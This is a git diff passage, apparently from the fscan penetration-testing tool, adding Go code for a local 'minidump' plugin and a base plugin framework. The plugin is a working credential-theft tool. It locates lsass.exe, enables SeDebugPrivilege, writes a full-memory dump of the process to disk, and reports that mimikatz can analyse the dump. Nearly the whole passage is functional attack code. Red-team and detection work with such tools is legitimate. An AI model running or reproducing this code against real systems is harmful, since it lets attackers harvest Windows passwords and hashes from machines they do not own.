MiniDumpConnector struct { + *local.BaseLocalConnector + kernel32 *syscall.DLL + dbghelp *syscall.DLL + advapi32 *syscall.DLL +} + +// ProcessManager Windows进程管理器 +type ProcessManager struct { + kernel32 *syscall.DLL + dbghelp *syscall.DLL + advapi32 *syscall.DLL +} + +// NewMiniDumpPlugin 创建内存转储插件 +func NewMiniDumpPlugin() *MiniDumpPlugin { + metadata := &base.PluginMetadata{ + Name: "minidump", + Version: "1.0.0", + Author: "fscan-team", + Description: "Windows进程内存转储插件", + Category: "local", + Tags: []string{"local", "memory", "dump", "lsass", "windows"}, + Protocols: []string{"local"}, + } + + connector := NewMiniDumpConnector() + plugin := &MiniDumpPlugin{ + BaseLocalPlugin: local.NewBaseLocalPlugin(metadata, connector), + connector: connector, + } + + // 仅支持Windows平台 + plugin.SetPlatformSupport([]string{"windows"}) + // 需要管理员权限 + plugin.SetRequiresPrivileges(true) + + return plugin +} + +// Scan 重写扫描方法以确保调用正确的ScanLocal实现 +func (p *MiniDumpPlugin) Scan(ctx context.Context, info *common.HostInfo) (*base.ScanResult, error) { + return p.ScanLocal(ctx, info) +} + +// NewMiniDumpConnector 创建内存转储连接器 +func NewMiniDumpConnector() *MiniDumpConnector { + baseConnector, _ := local.NewBaseLocalConnector() + + return &MiniDumpConnector{ + BaseLocalConnector: baseConnector, + } +} + +// Connect 建立内存转储连接 +func (c *MiniDumpConnector) Connect(ctx context.Context, info *common.HostInfo) (interface{}, error) { + // 先建立基础本地连接 + localConn, err := c.BaseLocalConnector.Connect(ctx, info) + if err != nil { + return nil, err + } + + // 加载系统DLL + kernel32, err := syscall.LoadDLL("kernel32.dll") + if err != nil { + return nil, fmt.Errorf("加载 kernel32.dll 失败: %v", err) + } + + dbghelp, err := syscall.LoadDLL("Dbghelp.dll") + if err != nil { + return nil, fmt.Errorf("加载 Dbghelp.dll 失败: %v", err) + } + + advapi32, err := syscall.LoadDLL("advapi32.dll") + if err != nil { + return nil, fmt.Errorf("加载 advapi32.dll 失败: %v", err) + } + + c.kernel32 = kernel32 + c.dbghelp = dbghelp + c.advapi32 = advapi32 + + return localConn, nil +} + +// Close 关闭连接 +func (c *MiniDumpConnector) Close(conn interface{}) error { + return c.BaseLocalConnector.Close(conn) +} + +// ScanLocal 执行内存转储扫描 +func (p *MiniDumpPlugin) ScanLocal(ctx context.Context, info *common.HostInfo) (*base.ScanResult, error) { + common.LogBase("开始进程内存转储...") + + // 检查管理员权限 + if !p.isAdmin() { + return &base.ScanResult{ + Success: false, + Error: errors.New("需要管理员权限才能执行内存转储"), + }, nil + } + + // 建立连接 + conn, err := p.connector.Connect(ctx, info) + if err != nil { + return &base.ScanResult{ + Success: false, + Error: fmt.Errorf("连接失败: %v", err), + }, nil + } + defer p.connector.Close(conn) + + // 创建进程管理器 + pm := &ProcessManager{ + kernel32: p.connector.kernel32, + dbghelp: p.connector.dbghelp, + advapi32: p.connector.advapi32, + } + + // 查找lsass.exe进程 + pid, err := pm.findProcess("lsass.exe") + if err != nil { + return &base.ScanResult{ + Success: false, + Error: fmt.Errorf("查找lsass.exe失败: %v", err), + }, nil + } + + common.LogSuccess(fmt.Sprintf("找到lsass.exe进程, PID: %d", pid)) + + // 提升权限 + if err := pm.elevatePrivileges(); err != nil { + return &base.ScanResult{ + Success: false, + Error: fmt.Errorf("提升权限失败: %v", err), + }, nil + } + + // 创建转储文件 + outputPath := filepath.Join(".", fmt.Sprintf("lsass-%d.dmp", pid)) + + // 执行转储 + if err := pm.dumpProcess(pid, outputPath); err != nil { + os.Remove(outputPath) // 失败时清理文件 + return &base.ScanResult{ + Success: false, + Error: fmt.Errorf("内存转储失败: %v", err), + }, nil + } + + // 获取文件信息 + fileInfo, err := os.Stat(outputPath) + var fileSize int64 + if err == nil { + fileSize = fileInfo.Size() + } + + result := &base.ScanResult{ + Success: true, + Service: "MiniDump", + Banner: fmt.Sprintf("lsass.exe 内存转储完成 (PID: %d)", pid), + Extra: map[string]interface{}{ + "process_name": "lsass.exe", + "process_id": pid, + "dump_file": outputPath, + "file_size": fileSize, + }, + } + + common.LogSuccess(fmt.Sprintf("成功将lsass.exe内存转储到文件: %s (大小: %d bytes)", outputPath, fileSize)) + return result, nil +} + +// GetLocalData 获取内存转储本地数据 +func (p *MiniDumpPlugin) GetLocalData(ctx context.Context) (map[string]interface{}, error) { + data := make(map[string]interface{}) + data["plugin_type"] = "minidump" + data["target_process"] = "lsass.exe" + data["requires_admin"] = true + return data, nil +} + +// ExtractData 提取内存数据 +func (p *MiniDumpPlugin) ExtractData(ctx context.Context, info *common.HostInfo, data map[string]interface{}) (*base.ExploitResult, error) { + return &base.ExploitResult{ + Success: true, + Output: "内存转储完成,可使用mimikatz等工具分析", + Data: data, + }, nil +} + +// isAdmin 检查是否具有管理员权限 +func (p *MiniDumpPlugin) isAdmin() bool { + var sid *windows.SID + err := windows.AllocateAndInitializeSid( + &windows.SECURITY_NT_AUTHORITY, + 2, + windows.SECURITY_BUILTIN_DOMAIN_RID, + windows.DOMAIN_ALIAS_RID_ADMINS, + 0, 0, 0, 0, 0, 0, + &sid) + if err != nil { + return false + } + defer windows.FreeSid(sid) + + token := windows.Token(0) + member, err := token.IsMember(sid) + return err == nil && member +} + +// ProcessManager 方法实现 + +// findProcess 查找进程 +func (pm *ProcessManager) findProcess(name string) (uint32, error) { + snapshot, err := pm.createProcessSnapshot() + if err != nil { + return 0, err + } + defer pm.closeHandle(snapshot) + + return pm.findProcessInSnapshot(snapshot, name) +} + +// createProcessSnapshot 创建进程快照 +func (pm *ProcessManager) createProcessSnapshot() (uintptr, error) { + proc := pm.kernel32.MustFindProc("CreateToolhelp32Snapshot") + handle, _, err := proc.Call(uintptr(TH32CS_SNAPPROCESS), 0) + if handle == uintptr(INVALID_HANDLE_VALUE) { + return 0, fmt.Errorf("创建进程快照失败: %v", err) + } + return handle, nil +} + +// findProcessInSnapshot 在快照中查找进程 +func (pm *ProcessManager) findProcessInSnapshot(snapshot uintptr, name string) (uint32, error) { + var pe32 PROCESSENTRY32 + pe32.dwSize = uint32(unsafe.Sizeof(pe32)) + + proc32First := pm.kernel32.MustFindProc("Process32FirstW") + proc32Next := pm.kernel32.MustFindProc("Process32NextW") + lstrcmpi := pm.kernel32.MustFindProc("lstrcmpiW") + + ret, _, _ := proc32First.Call(snapshot, uintptr(unsafe.Pointer(&pe32))) + if ret == 0 { + return 0, fmt.Errorf("获取第一个进程失败") + } + + for { + ret, _, _ = lstrcmpi.Call( + uintptr(unsafe.Pointer(syscall.StringToUTF16Ptr(name))), + uintptr(unsafe.Pointer(&pe32.szExeFile[0])), + ) + + if ret == 0 { + return pe32.th32ProcessID, nil + } + + ret, _, _ = proc32Next.Call(snapshot, uintptr(unsafe.Pointer(&pe32))) + if ret == 0 { + break + } + } + + return 0, fmt.Errorf("未找到进程: %s", name) +} + +// elevatePrivileges 提升权限 +func (pm *ProcessManager) elevatePrivileges() error { + handle, err := pm.getCurrentProcess() + if err != nil { + return err + } + + var token syscall.Token + err = syscall.OpenProcessToken(handle, syscall.TOKEN_ADJUST_PRIVILEGES|syscall.TOKEN_QUERY, &token) + if err != nil { + return fmt.Errorf("打开进程令牌失败: %v", err) + } + defer token.Close() + + var tokenPrivileges TOKEN_PRIVILEGES + + lookupPrivilegeValue := pm.advapi32.MustFindProc("LookupPrivilegeValueW") + ret, _, err := lookupPrivilegeValue.Call( + 0, + uintptr(unsafe.Pointer(syscall.StringToUTF16Ptr("SeDebugPrivilege"))), + uintptr(unsafe.Pointer(&tokenPrivileges.Privileges[0].Luid)), + ) + if ret == 0 { + return fmt.Errorf("查找特权值失败: %v", err) + } + + tokenPrivileges.PrivilegeCount = 1 + tokenPrivileges.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED + + adjustTokenPrivileges := pm.advapi32.MustFindProc("AdjustTokenPrivileges") + ret, _, err = adjustTokenPrivileges.Call( + uintptr(token), + 0, + uintptr(unsafe.Pointer(&tokenPrivileges)), + 0, 0, 0, + ) + if ret == 0 { + return fmt.Errorf("调整令牌特权失败: %v", err) + } + + return nil +} + +// getCurrentProcess 获取当前进程句柄 +func (pm *ProcessManager) getCurrentProcess() (syscall.Handle, error) { + proc := pm.kernel32.MustFindProc("GetCurrentProcess") + handle, _, _ := proc.Call() + if handle == 0 { + return 0, fmt.Errorf("获取当前进程句柄失败") + } + return syscall.Handle(handle), nil +} + +// dumpProcess 转储进程内存 +func (pm *ProcessManager) dumpProcess(pid uint32, outputPath string) error { + processHandle, err := pm.openProcess(pid) + if err != nil { + return err + } + defer pm.closeHandle(processHandle) + + fileHandle, err := pm.createDumpFile(outputPath) + if err != nil { + return err + } + defer pm.closeHandle(fileHandle) + + miniDumpWriteDump := pm.dbghelp.MustFindProc("MiniDumpWriteDump") + ret, _, err := miniDumpWriteDump.Call( + processHandle, + uintptr(pid), + fileHandle, + 0x00061907, // MiniDumpWithFullMemory + 0, 0, 0, + ) + + if ret == 0 { + return fmt.Errorf("写入转储文件失败: %v", err) + } + + return nil +} + +// openProcess 打开进程 +func (pm *ProcessManager) openProcess(pid uint32) (uintptr, error) { + proc := pm.kernel32.MustFindProc("OpenProcess") + handle, _, err := proc.Call(uintptr(PROCESS_ALL_ACCESS), 0, uintptr(pid)) + if handle == 0 { + return 0, fmt.Errorf("打开进程失败: %v", err) + } + return handle, nil +} + +// createDumpFile 创建转储文件 +func (pm *ProcessManager) createDumpFile(path string) (uintptr, error) { + pathPtr, err := syscall.UTF16PtrFromString(path) + if err != nil { + return 0, err + } + + createFile := pm.kernel32.MustFindProc("CreateFileW") + handle, _, err := createFile.Call( + uintptr(unsafe.Pointer(pathPtr)), + syscall.GENERIC_WRITE, + 0, 0, + syscall.CREATE_ALWAYS, + syscall.FILE_ATTRIBUTE_NORMAL, + 0, + ) + + if handle == INVALID_HANDLE_VALUE { + return 0, fmt.Errorf("创建文件失败: %v", err) + } + + return handle, nil +} + +// closeHandle 关闭句柄 +func (pm *ProcessManager) closeHandle(handle uintptr) { + proc := pm.kernel32.MustFindProc("CloseHandle") + proc.Call(handle) +} + +// 插件注册函数 +func init() { + base.GlobalPluginRegistry.Register("minidump", base.NewSimplePluginFactory( + &base.PluginMetadata{ + Name: "minidump", + Version: "1.0.0", + Author: "fscan-team", + Description: "Windows进程内存转储插件", + Category: "local", + Tags: []string{"local", "memory", "dump", "lsass", "windows"}, + Protocols: []string{"local"}, + }, + func() base.Plugin { + return NewMiniDumpPlugin() + }, + )) +} \ No newline at end of file diff --git a/Plugins/local/plugin.go b/Plugins/local/plugin.go new file mode 100644 index 0000000..e79dcc7 --- /dev/null +++ b/Plugins/local/plugin.go @@ -0,0 +1,155 @@ +package local + +import ( + "context" + "errors" + "fmt" + "runtime" + "github.com/shadow1ng/fscan/common" + "github.com/shadow1ng/fscan/plugins/base" +) + +// BaseLocalPlugin 本地插件基础实现 +type BaseLocalPlugin struct { + *base.BasePlugin + connector LocalConnector + platforms []string + requiresPrivileges bool +} + +// NewBaseLocalPlugin 创建基础本地插件 +func NewBaseLocalPlugin(metadata *base.PluginMetadata, connector LocalConnector) *BaseLocalPlugin { + basePlugin := base.NewBasePlugin(metadata) + + return &BaseLocalPlugin{ + BasePlugin: basePlugin, + connector: connector, + platforms: []string{"windows", "linux", "darwin"}, + requiresPrivileges: false, + } +} + +// Initialize 初始化插件 +func (p *BaseLocalPlugin) Initialize() error { + // 检查平台支持 + if !p.isPlatformSupported() { + return fmt.Errorf("当前平台 %s 不支持此插件", runtime.GOOS) + } + + return p.BasePlugin.Initialize() +} + +// Scan 执行扫描 +func (p *BaseLocalPlugin) Scan(ctx context.Context, info *common.HostInfo) (*base.ScanResult, error) { + // 检查权限要求 + if p.requiresPrivileges && !p.hasRequiredPrivileges() { + return &base.ScanResult{ + Success: false, + Error: errors.New("需要管理员/root权限才能执行此扫描"), + }, nil + } + + return p.ScanLocal(ctx, info) +} + +// ScanLocal 默认本地扫描实现(子类应重写) +func (p *BaseLocalPlugin) ScanLocal(ctx context.Context, info *common.HostInfo) (*base.ScanResult, error) { + return &base.ScanResult{ + Success: false, + Error: errors.New("ScanLocal方法需要在子类中实现"), + }, nil +} + +// Exploit 执行利用 +func (p *BaseLocalPlugin) Exploit(ctx context.Context, info *common.HostInfo, creds *base.Credential) (*base.ExploitResult, error) { + // 获取本地数据 + data, err := p.GetLocalData(ctx) + if err != nil { + return &base.ExploitResult{ + Success: false, + Error: fmt.Errorf("获取本地数据失败: %v", err), + }, nil + } + + return p.ExtractData(ctx, info, data) +} + +// GetLocalData 默认获取本地数据实现(子类应重写) +func (p *BaseLocalPlugin) GetLocalData(ctx context.Context) (map[string]interface{}, error) { + return nil, fmt.Errorf("GetLocalData方法需要在子类中实现") +} + +// ExtractData 默认数据提取实现(子类应重写) +func (p *BaseLocalPlugin) ExtractData(ctx context.Context, info *common.HostInfo, data map[string]interface{}) (*base.ExploitResult, error) { + return &base.ExploitResult{ + Success: false, + Error: errors.New("ExtractData方法需要在子类中实现"), + }, nil +} + +// GetLocalConnector 获取本地连接器 +func (p *BaseLocalPlugin) GetLocalConnector() LocalConnector { + return p.connector +} + +// GetPlatformSupport 获取支持的平台 +func (p *BaseLocalPlugin) GetPlatformSupport() []string { + return p.platforms +} + +// SetPlatformSupport 设置支持的平台 +func (p *BaseLocalPlugin) SetPlatformSupport(platforms []string) { + p.platforms = platforms +} + +// RequiresPrivileges 是否需要特殊权限 +func (p *BaseLocalPlugin) RequiresPrivileges() bool { + return p.requiresPrivileges +} + +// SetRequiresPrivileges 设置是否需要特殊权限 +func (p *BaseLocalPlugin) SetRequiresPrivileges(required bool) { + p.requiresPrivileges = required +} + +// isPlatformSupported 检查当前平台是否支持 +func (p *BaseLocalPlugin) isPlatformSupported() bool { + currentOS := runtime.GOOS + for _, platform := range p.platforms { + if platform == currentOS { + return true + } + } + return false +} + +// hasRequiredPrivileges 检查是否具有所需权限 +func (p *BaseLocalPlugin) hasRequiredPrivileges() bool { + if !p.requiresPrivileges { + return true + } + + // 这里可以根据平台实现权限检查 + // Windows: 检查是否为管理员 + // Linux/macOS: 检查是否为root或有sudo权限 + switch runtime.GOOS { + case "windows": + return isWindowsAdmin() + case "linux", "darwin": + return isUnixRoot() + default: + return false + } +} + +// 平台特定的权限检查函数 +func isWindowsAdmin() bool { + // 这里可以调用Windows API检查管理员权限 + // 简化实现,实际应该使用Windows API + return false +} + +func isUnixRoot() bool { + // 检查是否为root用户 + return false +} \ No newline at end of file diff --git a/main.go b/main.go index daa5cf4..c56efdb 100644 --- a/main.go +++ b/main.go @@ -6,6 +6,11 @@ import ( "github.com/shadow1ng/fscan/common" "github.com/shadow1ng/fscan/core" + + // 引入本地插件以触发注册 + _ "github.com/shadow1ng/fscan/plugins/local/fileinfo" + _ "github.com/shadow1ng/fscan/plugins/local/dcinfo" + _ "github.com/shadow1ng/fscan/plugins/local/minidump" ) func main() {